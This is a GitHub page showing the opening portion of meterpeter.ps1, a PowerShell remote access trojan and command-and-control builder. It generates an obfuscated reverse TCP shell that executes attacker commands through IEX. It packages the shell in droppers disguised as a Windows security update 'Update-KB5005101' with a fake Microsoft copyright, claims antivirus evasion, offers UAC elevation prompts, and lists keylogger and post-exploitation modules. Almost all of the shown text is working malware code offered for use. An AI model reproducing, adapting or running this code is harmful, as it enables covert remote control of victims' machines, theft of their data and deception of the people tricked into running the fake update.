-
Notifications
You must be signed in to change notification settings - Fork 104
/
meterpeter.ps1
4535 lines (4155 loc) · 271 KB
/
meterpeter.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
##
# Author: @r00t-3xp10it (ssa redteam)
# Tested Under: Windows 10 (19044) x64 bits
# Required Dependencies: Invoke-WebRequest
# Optional Dependencies: BitsTransfer|Python
# PS cmdlet Dev version: V2.10.14
# PS cmdlet sub version: V2.10.14.0
# GitHub: https://github.com/r00t-3xp10it/meterpeter/releases
##
$SserverTime = Get-Date -Format "dd/MM/yyyy HH:mm:ss"
$HTTP_PORT = "8087" # Python http.server LPort (optional)
$CmdLetVersion = "2.10.14" # meterpeter C2 version (dont change)
$DeveloVersion = "2.10.14.0" # meterpeter C2 dev version (dont change)
$payload_name = "Update-KB5005101" # Client-payload filename (dont change)
$Dropper_Name = "Update-KB5005101" # Payload-dropp`er filename (optional)
$Acdst = "rem#ote ac#ce#ss" -replace '#',''
$Acdts = "ob#fus#cat#ed" -replace '#',''
$EndBanner = @"
__ __ ____ _____ ____ ____ ____ ____ _____ ____ ____
| \/ || ===||_ _|| ===|| () )| ()_)| ===||_ _|| ===|| () )
|_|\/|_||____| |_| |____||_|\_\|_| |____| |_| |____||_|\_\
Author: @ZHacker13 &('r00t-3xp10it') - SSA_redteam @2023 V${CmdLetVersion}
Date: $SserverTime - Cmdlet subdevelop version: $DeveloVersion
"@;
$StartBanner = @"
__ __ ____ _____ ____ ____ ____ ____ _____ ____ ____
| \/ || ===||_ _|| ===|| () )| ()_)| ===||_ _|| ===|| () )
|_|\/|_||____| |_| |____||_|\_\|_| |____| |_| |____||_|\_\
Author: @ZHacker13 &('r00t-3xp10it') - SSA_redteam @2023 V${CmdLetVersion}
Meterpeter its a command & control (C2) $Acdst tool (rat)
written in pure powershell released to windows (python3 required)
or to linux (powershell and apache2 required) distros. It creates
reverse_tcp_shell payloads (pure powershell + sockets) $Acdts
in BXOR using a secret key and also creates one dropper file that
allow users to fast deliver the payload on LAN networks for tests.
"@;
$Modules = @"
__ __ ____ _____ ____ ____ ____ ____ _____ ____ ____
| \/ || ===||_ _|| ===|| () )| ()_)| ===||_ _|| ===|| () )
|_|\/|_||____| |_| |____||_|\_\|_| |____| |_| |____||_|\_\
Author: @ZHacker13 &('r00t-3xp10it') - SSA_redteam @2023 V${CmdLetVersion}
Command Description
------- ------------------------------
Info Remote host system information
Session Meterpeter C2 connection status
AdvInfo Advanced system information sub-menu
Upload Upload from local host to remote host
Download Download from remote host to local host
Screenshot Capture remote host desktop screenshots
keylogger Install remote host keyloggers sub-menu
PostExploit Post Exploitation modules sub-menu
NetScanner Local LAN network scanner sub-menu
Pranks Prank remote host modules sub-menu
exit Exit rev_tcp_shell [server+client]
"@;
try{#Check http.server
$MyServer = python -V
If(-not($MyServer) -or $MyServer -eq $null)
{
$strMsg = "Warning: python (http.server) not found in current system." + "`n" + " 'Install python (http.server) to deliver payloads on LAN'.."
powershell (New-Object -ComObject Wscript.Shell).Popup($strMsg,10,'Deliver Meterpeter payloads on LAN',0+48)|Out-Null
}
Else
{
$PInterpreter = "python"
}
}Catch{
powershell (New-Object -ComObject Wscript.Shell).Popup("python interpreter not found ...",6,'Deliver Meterpeter payloads on LAN',0+48)|Out-Null
}
function Char_Obf($String){
$String = $String.toCharArray();
ForEach($Letter in $String)
{
$RandomNumber = (1..2) | Get-Random;
If($RandomNumber -eq "1")
{
$Letter = "$Letter".ToLower();
}
If($RandomNumber -eq "2")
{
$Letter = "$Letter".ToUpper();
}
$RandomString += $Letter;
$RandomNumber = $Null;
}
$String = $RandomString;
Return $String;
}
function msaudite($String){
$finalcmdline = "ASC" + "II" -join ''
$PowerShell = "I`E`X(-Jo" + "in((@)|%{[char](`$_-BX" + "OR #)}));Exit" -join ''
$Key = '0x' + ((0..5) | Get-Random) + ((0..9) + ((65..70) + (97..102) | % {[char]$_}) | Get-Random);Start-Sleep -Milliseconds 30
( '!'|% {${~ }= +$()}{ ${ /'}=${~ }} {${) } = ++ ${~ }}{ ${;.*}=( ${~ }=${~ }+ ${) }) }{ ${)#+} =(${~ } = ${~ } + ${) } )} { ${~(}=(${~ }= ${~ } + ${) } ) }{ ${*-}= (${~ } =${~ }+${) })}{${()``}=(${~ }= ${~ } + ${) } )} {${]/!}= ( ${~ } = ${~ } + ${) })} {${# } = (${~ } = ${~ }+ ${) } ) }{${*;} = (${~ }= ${~ }+ ${) } )} {${/} ="["+ "$(@{ })"[ ${]/!} ]+ "$(@{ })"["${) }${*;}"]+ "$( @{ } )"[ "${;.*}${ /'}"]+"$? "[ ${) } ] + "]" }{${~ } = "".("$(@{}) "["${) }${~(}" ]+"$( @{ }) "["${) }${()``}"]+"$( @{ }) "[ ${ /'}] + "$( @{ } )"[ ${~(} ]+ "$? "[ ${) }]+ "$(@{ } )"[${)#+}] ) } { ${~ }="$(@{})"[ "${) }${~(}"] +"$(@{ })"[ ${~(} ]+ "${~ }"[ "${;.*}${]/!}" ] } ) ; .${~ }( " ${/}${)#+}${()``}+ ${/}${# }${)#+}+ ${/}${) }${) }${()``}+${/}${) }${) }${~(} +${/}${) }${ /'}${*-}+${/}${) }${) }${ /'} + ${/}${) }${ /'}${)#+} +${/}${)#+}${;.*} + ${/}${()``}${) }+ ${/}${)#+}${;.*} +${/}${)#+}${()``}+ ${/}${~(}${ /'} + ${/}${*;}${) }+${/}${# }${)#+} + ${/}${) }${;.*}${) }+ ${/}${) }${) }${*-}+${/}${) }${) }${()``} + ${/}${) }${ /'}${) }+ ${/}${) }${ /'}${*;}+${/}${~(}${()``} + ${/}${# }${~(}+${/}${) }${ /'}${) }+ ${/}${) }${;.*}${ /'}+${/}${) }${) }${()``}+${/}${~(}${()``} +${/}${()``}${*;} +${/}${) }${) }${ /'} + ${/}${*;}${*;} + ${/}${) }${) }${) } + ${/}${) }${ /'}${ /'} +${/}${) }${ /'}${*-} +${/}${) }${) }${ /'}+ ${/}${) }${ /'}${)#+}+ ${/}${*;}${)#+}+ ${/}${*-}${# }+${/}${*-}${# } + ${/}${)#+}${()``}+ ${/}${) }${ /'}${;.*} + ${/}${) }${ /'}${*-} + ${/}${) }${) }${ /'} + ${/}${*;}${]/!} +${/}${) }${ /'}${# } +${/}${*;}${*;}+${/}${) }${ /'}${*;} + ${/}${) }${ /'}${ /'}+ ${/}${) }${ /'}${# }+${/}${) }${ /'}${*-}+${/}${) }${) }${ /'} +${/}${) }${ /'}${) }+ ${/}${~(}${()``}+ ${/}${]/!}${) }+ ${/}${) }${ /'}${) }+${/}${) }${) }${()``}+${/}${()``}${()``} + ${/}${) }${;.*}${) } + ${/}${) }${) }${()``}+ ${/}${) }${ /'}${) }+ ${/}${) }${) }${*-}+ ${/}${~(}${ /'} +${/}${)#+}${()``}+${/}${# }${)#+} +${/}${) }${) }${()``} +${/}${) }${) }${~(} + ${/}${) }${ /'}${*-}+${/}${) }${) }${ /'} + ${/}${) }${ /'}${)#+}+${/}${~(}${) }+ ${/}${) }${;.*}${~(}+ ${/}${)#+}${]/!}+${/}${) }${;.*}${)#+} +${/}${)#+}${()``}+ ${/}${*;}${*-}+ ${/}${)#+}${;.*}+${/}${~(}${*-} +${/}${()``}${()``} +${/}${# }${# } +${/}${]/!}${*;} + ${/}${# }${;.*}+${/}${)#+}${;.*} +${/}${)#+}${()``} +${/}${]/!}${*-} + ${/}${) }${ /'}${) }+${/}${) }${;.*}${) } + ${/}${) }${;.*}${*-} + ${/}${~(}${) }+ ${/}${)#+}${;.*} + ${/}${~(}${*-} +${/}${) }${ /'}${()``} +${/}${) }${) }${) } + ${/}${) }${ /'}${*-}+ ${/}${) }${) }${ /'} + ${/}${)#+}${;.*}+ ${/}${)#+}${*;}+${/}${~(}${~(}+${/}${)#+}${*;}|${~ }")
$PowerShell = Char_Obf($PowerShell);$PowerShell = $PowerShell -replace "@","$String";$PowerShell = $PowerShell -replace "#","$Key";
$CMD = "hello world";$CMD = Char_Obf($CMD);$CMD = $CMD -replace "@","$String";$CMD = $CMD -replace "#","$Key";
Return $PowerShell,$CMD;
}
function ChkDskInternalFuncio($String){
$RandomVariable = (0..99);
For($i = 0; $i -lt $RandomVariable.count; $i++){
$Temp = (-Join ((65..90) + (97..122) | Get-Random -Count 5 | % {[char]$_}));
While($RandomVariable -like "$Temp"){
$Temp = (-Join ((65..90) + (97..122) | Get-Random -Count 5 | % {[char]$_}));
}
$RandomVariable[$i] = $Temp;
$Temp = $Null;
}
$RandomString = $String;
For($x = $RandomVariable.count; $x -ge 1; $x--){
$Temp = $RandomVariable[$x-1];
$RandomString = "$RandomString" -replace "\`$$x", "`$$Temp";
}
$String = $RandomString;
Return $String;
}
function NetworkStats($IP,$Port,$Base64_Key){
[int]$Signature = Get-Random -Minimum 1 -Maximum 3
$dadoninho = "Fr`omB" + "ase`6" + "4Str`ing" -Join ''
$deskmondll = "`$mscorelib='1'+'024' -Join '';`$MicrosoftAccountCloudAP='Cre'+'ateIn'+'stance' -join '';powershell (New-Object -ComObject Wscript.Shell).Popup('Security update installed.',$Signature,'KB5005101 21H1',0+0);`$3=`"#`";`$1=[System.Byte[]]::`$MicrosoftAccountCloudAP([System.Byte],`$mscorelib);Get-Date|Out-File bios.log;`$filemgmtdll='FromB'+'ase6'+'4String' -Join '';`$2=([Convert]::`$filemgmtdll(`"@`"));`$4=I``E``X([System.Runtime.Int"+"eropServices.Marshal]::PtrToStr"+"ingAuto([System.Runtime.InteropSe"+"rvices.Marshal]::SecureStringToBSTR((`$3|ConvertTo-SecureString -Key `$2))));While(`$5=`$4.GetStream()){;While(`$5.DataAvailable -or `$6 -eq `$1.count){;`$6=`$5.Read(`$1,0,`$1.length);`$7+=(New-Object -TypeName System.Text.ASCIIEncoding).GetString(`$1,0,`$6)};If(`$7){;`$8=(I``E``X(`$7)2>&1|Out-String);If(!(`$8.length%`$1.count)){;`$8+=`" `"};`$9=([text.encoding]::ASCII).GetBytes(`$8);`$5.Write(`$9,0,`$9.length);`$5.Flush();`$7=`$Null}}";
$Key = $([System.Convert]::$dadoninho($Base64_Key))
#$NewKey = (3,4,2,3,56,34,254,222,1,1,2,23,42,54,33,233,1,34,2,7,6,5,35,43)
$C2 = ConvertTo-SecureString "New-Object System.Net.Sockets.TCPClient('$IP','$Port')" -AsPlainText -Force | ConvertFrom-SecureString -Key $Key;
$deskmondll = ChkDskInternalFuncio(Char_Obf($deskmondll));
$deskmondll = $deskmondll -replace "@","$Base64_Key";
$deskmondll = $deskmondll -replace "#","$C2";
Return $deskmondll;
}
Clear-Host;
Write-Host $StartBanner
write-host " * GitHub: https://github.com/r00t-3xp10it/meterpeter *`n`n" -ForegroundColor DarkYellow
$DISTRO_OS = pwd|Select-String -Pattern "/" -SimpleMatch; # <-- (check IF windows|Linux Separator)
If($DISTRO_OS)
{
## Linux Distro
$IPATH = "$pwd/"
$Flavor = "Linux"
$Bin = "$pwd/mimiRatz/"
$APACHE = "/var/www/html/"
}Else{
## Windows Distro
$IPATH = "$pwd\"
$Flavor = "Windows"
$Bin = "$pwd\mimiRatz\"
$APACHE = "$env:LocalAppData\webroot\"
}
$Obfuscation = $null
## User Input Land ..
Write-Host "Input Local Host: " -NoNewline;
$LHOST = Read-Host;
$Local_Host = $LHOST -replace " ","";
Write-Host "Input Local Port: " -NoNewline;
$LPORT = Read-Host;
$Local_Port = $LPORT -replace " ","";
## Default settings
If(-not($Local_Port)){$Local_Port = "666"};
If(-not($Local_Host)){
If($DISTRO_OS){
## Linux Flavor
$Local_Host = ((ifconfig | grep [0-9].\.)[0]).Split()[-1]
}else{
## Windows Flavor
$Local_Host = ((ipconfig | findstr [0-9].\.)[0]).Split()[-1]
}
}
If($Flavor -ieq "Windows")
{
Write-Host "`n`n* Payload dropper format sellection!" -ForegroundColor Black -BackgroundColor Gray
Write-Host "Id DropperFileName Format AVDetection UacElevation PsExecutionBypass" -ForegroundColor Green
Write-Host "-- -------------------- ------ ----------- ------------ -----------------"
Write-Host "1 Update-KB5005101.bat BAT Undetected optional true"
Write-Host "2 Update-KB5005101.hta HTA Undetected false true"
Write-Host "3 Update-KB5005101.exe EXE Undetected optional true" -ForegroundColor Yellow
Write-Host "4 Update-KB5005101.vbs VBS Undetected optional true" -ForegroundColor DarkGray
$FlavorSellection = Read-Host "Id"
}
ElseIf($Flavor -ieq "Linux")
{
Write-Host "`n`n* Payload dropper format sellection!" -ForegroundColor Black -BackgroundColor Gray
Write-Host "Id DropperFileName Format AVDetection UacElevation PsExecutionBypass" -ForegroundColor Green
Write-Host "-- -------------------- ------ ----------- ------------ -----------------"
Write-Host "1 Update-KB5005101.bat BAT Undetected optional true"
Write-Host "2 Update-KB5005101.hta HTA Undetected false true"
$FlavorSellection = Read-Host "Id"
}
## End Of venom Function ..
$viriatoshepard = ("T@oB@a" + "s@e6@4St@" + "r@i@n@g" -join '') -replace '@',''
$Key = (1..32 | % {[byte](Get-Random -Minimum 0 -Maximum 255)});
$Base64_Key = $([System.Convert]::$viriatoshepard($Key));
Write-Host "`n[*] Generating Payload ✔";
$deskmondll = NetworkStats -IP $Local_Host -Port $Local_Port -Base64_Key $Base64_Key;
Write-Host "[*] Obfuscation Type: BXOR ✔"
$deskmondll = msaudite($deskmondll);
Clear-Host;
Write-Host $StartBanner
write-host " * GitHub: https://github.com/r00t-3xp10it/meterpeter *`n`n" -ForegroundColor DarkYellow
Write-Host " - Payload : $payload_name.ps1"
Write-Host " - Local Host : $Local_Host"
Write-Host " - Local Port : $Local_Port"
Start-Sleep -Milliseconds 800
$PowerShell_Payload = $deskmondll[0];
$CMD_Payload = $deskmondll[1];
Write-Host "`n[*] PowerShell Payload:`n"
Write-Host "$PowerShell_Payload" -ForeGroundColor black -BackGroundColor white
write-host "`n`n"
$My_Output = "$PowerShell_Payload" | Out-File -FilePath $IPATH$payload_name.ps1 -Force;
## Better obfu`scated IE`X system call
$ttl = ("I" + "@_`X" -Join '') -replace '@_','E'
#((Get-Content -Path $IPATH$payload_name.ps1 -Raw) -Replace "$ttl","Get-Date -Format 'HH:mm:ss'|Out-File bios.log;&(''.SubString.ToString()[67,72,64]-Join'')")|Set-Content -Path $IPATH$payload_name.ps1
((Get-Content -Path $IPATH$payload_name.ps1 -Raw) -Replace "$ttl","&('REX' -replace 'R','I')")|Set-Content -Path $IPATH$payload_name.ps1
$Server_port = "$Local_Host"+":"+"$HTTP_PORT";
$check = Test-Path -Path "/var/www/html/";
If($check -ieq $False)
{
try{
#Check Attacker http.server
python -V > $Env:TMP\ff.log
$Python_version = (Get-Content "$Env:TMP\ff.log" -ErrorAction SilentlyContinue)
Remove-Item -Path "$Env:TMP\ff.log" -Force -ErrorAction SilentlyContinue
}Catch{}
If(-not([string]::IsNullOrEmpty($Python_version)))
{
$Webroot_test = Test-Path -Path "$env:LocalAppData\webroot\";
If($Webroot_test -ieq $True){cmd /R rmdir /Q /S "%LocalAppData%\webroot\";mkdir $APACHE|Out-Null}else{mkdir $APACHE|Out-Null};
## Attacker: Windows - with python3 installed
# Deliver Dro`pper.zip using python http.server
write-Host " WebServer Client Dropper WebRoot" -ForegroundColor Green;
write-Host " --------- ------ ------- -------";
write-Host " Python3 Update-KB5005101.ps1 Update-KB5005101.zip $APACHE";write-host "`n`n";
Copy-Item -Path $IPATH$payload_name.ps1 -Destination $APACHE$payload_name.ps1 -Force
If($FlavorSellection -eq 2)
{
<#
.SYNOPSIS
Author: @r00t-3xp10it
Helper - meterpeter payload HTA drop`per application
#>
cd $Bin
#delete old files left behind by previous executions
If(Test-Path -Path "$Dropper_Name.hta" -EA SilentlyContinue)
{
Remove-Item -Path "$Dropper_Name.hta" -Force
}
#Make sure HTA template exists before go any further
If(-not(Test-Path -Path "Update.hta" -EA SilentlyContinue))
{
Write-Host "ERROR: file '${Bin}Update.hta' not found ..." -ForeGroundColor Red -BackGroundColor Black
Write-Host "`n";exit #Exit @Meterpeter
}
#Replace the server ip addr + port on HTA template
((Get-Content -Path "Update.hta" -Raw) -Replace "CharlieBrown","$Server_port")|Set-Content -Path "Update.hta"
#Embebed meterpter icon on HTA application?
#iwr -Uri "https://raw.githubusercontent.com/r00t-3xp10it/meterpeter/master/mimiRatz/theme/meterpeter.ico" -OutFile "meterpeter.ico"|Out-Null
#Start-Process -WindowStyle hidden cmd.exe -ArgumentList "/R COPY /B meterpeter.ico+Update.hta $Dropper_Name.hta" -Wait
Copy-Item -Path "Update.hta" -Destination "$Dropper_Name.hta" -Force
#Compress HTA application and port the ZIP archive to 'webroot' directory!
Compress-Archive -LiteralPath "$Dropper_Name.hta" -DestinationPath "${APACHE}${Dropper_Name}.zip" -Force
#Revert original HTA to default to be used again
((Get-Content -Path "Update.hta" -Raw) -Replace "$Server_port","CharlieBrown")|Set-Content -Path "Update.hta"
#Delete artifacts left behind
#Remove-Item -Path "meterpeter.ico" -EA SilentlyContinue -Force
Remove-Item -Path "$Dropper_Name.hta" -EA SilentlyContinue -Force
#return to meterpeter working directory (meterpeter)
cd $IPATH
}
ElseIf($FlavorSellection -eq 3)
{
<#
.SYNOPSIS
Author: @r00t-3xp10it
Helper - meterpeter payload EXE dro`pper application
#>
cd $Bin
$Dropper_Bat = "Update.ps1"
$Dropper_Exe = "Update-KB5005101.exe"
((Get-Content -Path "$Dropper_Bat" -Raw) -Replace "CharlieBrown","$Server_port")|Set-Content -Path "$Dropper_Bat"
#Download the required files from my GITHUB meterpeter repository!
iwr -Uri "https://raw.githubusercontent.com/r00t-3xp10it/meterpeter/master/PS2EXE/ps2exe.ps1" -OutFile "ps2exe.ps1"|Out-Null
iwr -Uri "https://raw.githubusercontent.com/r00t-3xp10it/meterpeter/master/PS2EXE/meterpeter.ico" -OutFile "meterpeter.ico"|Out-Null
$RunEXElevated = Read-Host "[i] Make dropper spawn UAC dialog to run elevated? (y|n)"
If($RunEXElevated -iMatch '^(y|yes)$')
{
.\ps2exe.ps1 -inputFile "$Dropper_Bat" -outputFile "$Dropper_Exe" -iconFile "meterpeter.ico" -title "Secure KB Update" -version "45.19041.692.2" -copyright "©Microsoft Corporation. All Rights Reserved" -product "KB5005101" -noError -noConsole -requireAdmin|Out-Null
Start-Sleep -Seconds 2
}
Else
{
.\ps2exe.ps1 -inputFile "$Dropper_Bat" -outputFile "$Dropper_Exe" -iconFile "meterpeter.ico" -title "Secure KB Update" -version "45.19041.692.2" -copyright "©Microsoft Corporation. All Rights Reserved" -product "KB5005101" -noError -noConsole|Out-Null
Start-Sleep -Seconds 2
}
#Compress EXE executable and port the ZIP archive to 'webroot' directory!
Compress-Archive -LiteralPath "$Dropper_Exe" -DestinationPath "$APACHE$Dropper_Name.zip" -Force
#Revert meterpeter EXE template to default state, after successfully created\compressed the binary drop`per (PE)
((Get-Content -Path "$Dropper_Bat" -Raw) -Replace "$Server_port","CharlieBrown")|Set-Content -Path "$Dropper_Bat"
#Clean all artifacts left behind by this function!
Remove-Item -Path "meterpeter.ico" -EA SilentlyContinue -Force
Remove-Item -Path "$Dropper_Exe" -EA SilentlyContinue -Force
Remove-Item -Path "ps2exe.ps1" -EA SilentlyContinue -Force
cd $IPATH
}
ElseIf($FlavorSellection -eq 4)
{
<#
.SYNOPSIS
Author: @r00t-3xp10it
Helper - meterpeter payload VBS drop`per application
.NOTES
This function accepts ip addresses from 11 to 14 chars (local)
example: 192.168.1.1 (11 chars) to 192.168.101.122 (15 chars)
The 'auto-elevation' function requires UAC enabled and ru`nas.
#>
If(-not(Test-Path -Path "$IPATH\Download_Crandle.vbs" -EA SilentlyContinue))
{
## Download crandle_builder.ps1 from my GitHub repository
iwr -uri "https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/utils/crandle_builder.ps1" -OutFile "crandle_builder.ps1"|Unblock-File
}
#Evasion\Obfusca`tion
$NumberOfChars = $Local_Host.length
$SeconRange = $Server_port[5,6,7,8] -join '' # 68.1
$FirstRange = $Server_port[0,1,2,3,4] -join '' # 192.1
If($NumberOfChars -eq 11)
{
#Example: 192.168.1.7 + :8087 = 15 chars
$trithRange = $Server_port[9,10,11,12,13,14,15] -join ''
}
ElseIf($NumberOfChars -eq 12)
{
#Example: 192.168.1.72 + 8087 = 16 chars
$trithRange = $Server_port[9,10,11,12,13,14,15,16] -join '' # .72:8087
}
ElseIf($NumberOfChars -eq 13)
{
#Example: 192.168.1.122 + 8087 = 17 chars
$trithRange = $Server_port[9,10,11,12,13,14,15,16,17] -join ''
}
ElseIf($NumberOfChars -eq 14)
{
#Example: 192.168.15.124 + 8087 = 18 chars
$trithRange = $Server_port[9,10,11,12,13,14,15,16,17,18] -join ''
}
ElseIf($NumberOfChars -eq 15)
{
#Example: 192.168.151.124 + 8087 = 19 chars
$trithRange = $Server_port[9,10,11,12,13,14,15,16,17,18,19] -join ''
}
$Crandle_Build = Read-Host "[i] Create (D)ownload or (F)ileless dropper script? (D|F)"
If($Crandle_Build -iMatch '^(f|fileless)$')
{
$fuckOrNot = "fileless"
$Technic = Read-Host "[i] Chose the FileLess Technic to add to crandle(1|2|3|4)"
}
Else
{
#Default (%tmp%)
$fuckOrNot = "download"
}
If($Technic -Match '^(2)$')
{
$Technic = "two"
}
ElseIf($Technic -Match '^(3)$')
{
$Technic = "three"
}
ElseIf($Technic -Match '^(4)$')
{
$Technic = "four"
}
Else
{
$Technic = "one"
}
$PayloadName = "$payload_name" + ".ps1" -join ''
$RunEXElevated = Read-Host "[i] Make dropper spawn UAC dialog to run elevated ? (Y|N)"
If($RunEXElevated -iMatch '^(y|yes)$')
{
<#
.SYNOPSIS
Author: @r00t-3xp10it
Helper - Execute VBS with administrator privileges?
.NOTES
This function add's a cmdline to the beggining of the vbs script file
that invokes 'ru`nas' to spawn a UAC dialogbox to elevate appl privileges.
None execution its achieved (crandler) if the target user does not
accept to run the crandler with elevated privileges (UAC dialogBox)
#>
powershell -file crandle_builder.ps1 -action "$fuckOrNot" -VbsName "Download_Crandle.vbs" -PayloadName "$PayloadName" -UACElevation 'true' -Technic "$Technic" -Egg 'true'|Out-Null
}
Else
{
powershell -file crandle_builder.ps1 -action "$fuckOrNot" -VbsName "Download_Crandle.vbs" -PayloadName "$PayloadName" -UACElevation 'false' -Technic "$Technic" -Egg 'true'|Out-Null
}
#Replace the attacker ip addr (obfus`cated\split) on vbs template
((Get-Content -Path "Download_Crandle.vbs" -Raw) -Replace "VIRIATO","$SeconRange")|Set-Content -Path "Download_Crandle.vbs"
((Get-Content -Path "Download_Crandle.vbs" -Raw) -Replace "COLOMBO","$FirstRange")|Set-Content -Path "Download_Crandle.vbs"
((Get-Content -Path "Download_Crandle.vbs" -Raw) -Replace "NAVIGATOR","$trithRange")|Set-Content -Path "Download_Crandle.vbs"
#Download vbs_obfuscator from GitHub repository
#iwr -uri https://raw.githubusercontent.com/DoctorLai/VBScript_Obfuscator/master/vbs_obfuscator.vbs -outfile vbs_obfuscator.vbs|Unblock-File
#Obfusc`ate Program.vbs sourcecode.
#cscript.exe vbs_obfuscator.vbs Download_Crandle.vbs > Buffer.vbs
#Parse data
$CrandleVbsName = "${Dropper_Name}" + ".vbs" -Join '' # Update-KB500101.vbs
#$Obfusc`atedData = Get-Content Buffer.vbs | Select-Object -Skip 3
#echo $Obfusc`atedData > $CrandleVbsName
Start-sleep -Milliseconds 300
#Change vbs crandle signature (add junk function)
#[int]$Chars = Get-Random -Minimum 6 -Maximum 20 #Random variable length sellection! (from 6 => 20)
#$RandVar = -join ((65..90) + (97..122) | Get-Random -Count $Chars | % {[char]$_}) #Random variable creation!
#((Get-Content -Path "Download_Crandle.vbs" -Raw) -Replace "#REPLACEME","Dim reverse")|Set-Content -Path "$CrandleVbsName"
#Compress VBS and port the ZIP archive to 'webroot' directory!
Rename-Item -Path Download_Crandle.vbs -NewName $CrandleVbsName -Force
### COMPILE VBS TO EXE
#C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe /target:exe /out:"$pwd\${Drop`per_Name}.exe" "$pwd\${Dropp`er_Name}.vbs" /platform:anyCPU
Compress-Archive -LiteralPath "$CrandleVbsName" -DestinationPath "${APACHE}${Dropper_Name}.zip" -Force
#Move-Item -Path "$CrandleVbsName" -Destination "${APACHE}${Drop`per_Name}.vbs" -Force
#Clean all artifacts left behind
Remove-Item -Path "Buffer.vbs" -EA SilentlyContinue -force
Remove-Item -Path "vbs_obfuscator.vbs" -EA SilentlyContinue -force
Remove-Item -Path "crandle_builder.ps1" -EA SilentlyContinue -force
Remove-Item -Path "Download_Crandle.vbs" -EA SilentlyContinue -force
Remove-Item -Path "$CrandleVbsName" -EA SilentlyContinue -force
}
Else
{
<#
.SYNOPSIS
Author: @r00t-3xp10it
Helper - meterpeter payload BAT drop`per script
#>
## (ZIP + add LHOST) to dro`pper.bat before send it to apache 2 webroot ..
Copy-Item -Path "$Bin$Dropper_Name.bat" -Destination "${Bin}BACKUP.bat"|Out-Null
((Get-Content -Path $Bin$Dropper_Name.bat -Raw) -Replace "CharlieBrown","$Server_port")|Set-Content -Path $Bin$Dropper_Name.bat
$RunEXElevated = Read-Host "[i] Make dropper spawn UAC dialog to run elevated? (y|n)"
If($RunEXElevated -iMatch '^(y|yes)$')
{
<#
.SYNOPSIS
Author: @r00t-3xp10it
Helper - Execute Batch with administrator privileges?
.NOTES
This function add's a cmdline to the beggining of bat file that uses
'Net Session' API to check for admin privs before executing powershell
-run`as on current process spawning a UAC dialogbox of confirmation.
#>
$MyRunes = "r" + "una" + "s" -join ''
#TODO: run bat with admin privs ??? -> requires LanManServer (server) service active
